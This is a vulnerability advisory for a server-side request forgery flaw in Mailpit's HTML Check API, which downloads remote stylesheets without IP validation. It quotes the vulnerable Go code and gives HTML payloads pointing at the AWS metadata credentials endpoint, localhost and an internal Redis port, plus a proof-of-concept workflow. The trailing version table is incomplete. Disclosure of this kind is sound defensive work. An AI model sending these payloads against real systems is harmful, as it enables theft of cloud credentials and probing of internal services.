Server-side request forgery (SSRF) In github.com/axllent/mailpit
Description
Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API
Server-Side Request Forgery (SSRF) via HTML Check CSS Download
The HTML Check feature (/api/v1/message/{ID}/html-check) is designed to analyze HTML emails for compatibility. During this process, the inlineRemoteCSS() function automatically downloads CSS files from external <link rel="stylesheet" href="..."> tags to inline them for testing.
Affected Components
Primary File: internal/htmlcheck/css.go (lines 132-207)
API Endpoint: /api/v1/message/{ID}/html-check
Handler: server/apiv1/other.go (lines 38-75)
Vulnerable Functions:
inlineRemoteCSS() - line 132
downloadToBytes() - line 193
isURL() - line 221
Technical Details
1. Insufficient URL Validation (isURL() function):
// internal/htmlcheck/css.go:221-224 func isURL(str string) bool { u, err := url.Parse(str) return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Host != "" }
2. Unrestricted Download (downloadToBytes() function):
// internal/htmlcheck/css.go:193-207 func downloadToBytes(url string) ([]byte, error) { client := http.Client{ Timeout: 5 * time.Second, } // Get the link response data resp, err := client.Get(url) // ⚠️ VULNERABLE - No IP validation...
3. Automatic CSS Processing:
// internal/htmlcheck/css.go:132-187 func inlineRemoteCSS(h string) (string, error) { reader := strings.NewReader(h) doc, err := goquery.NewDocumentFromReader(reader) if err != nil { return h, err } ...
Attack Vectors
Attack Vector 1: Cloud Metadata Credential Theft
Attacker sends HTML email with:
<!DOCTYPE html> <html> <head> <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"> </head> <body>Legitimate email content</body> </html>
When HTML check is triggered:
Mailpit makes GET request to AWS metadata endpoint
Downloads IAM credentials as "CSS content"
Credentials logged or potentially leaked via error messages
Proof of Concept
A complete working exploit is provided in ssrf_htmlcheck_poc.py.
PoC Usage:
# Run the exploit python3 ssrf_htmlcheck_poc.py
PoC Workflow:
Starts SSRF listener on port 8888 to detect callbacks
Sends malicious HTML emails containing:
<link rel="stylesheet" href="http://localhost:8888/malicious.css"> <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/"> <link rel="stylesheet" href="http://127.0.0.1:6379/">
Triggers HTML check via API: GET /api/v1/message/{ID}/html-check
Monitors callbacks and analyzes responses
Demonstrates exploitation of:
Local listener (proves SSRF)
Cloud metadata endpoints
Internal services (Redis, etc.)
Private network ranges
Expected Output:
╔══════════════════════════════════════════════════════════════════════════════╗ ║ Mailpit SSRF PoC - HTML Check CSS Download Vulnerability ║ ║ Severity: MODERATE ║ ║ File: internal/htmlcheck/css.go:193-207 ║ ╚══════════════════════════════════════════════════════════════════════════════╝ [+] SSRF listener started on port 8888 [*] Testing SSRF with callback to local listener......
Manual Testing:
# 1. Send malicious email cat << 'EOF' | python3 - <<SENDMAIL import smtplib from email.mime.text import MIMEText html = ''' <!DOCTYPE html> <html>...
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
go | 1.28.3 |
Aliases
References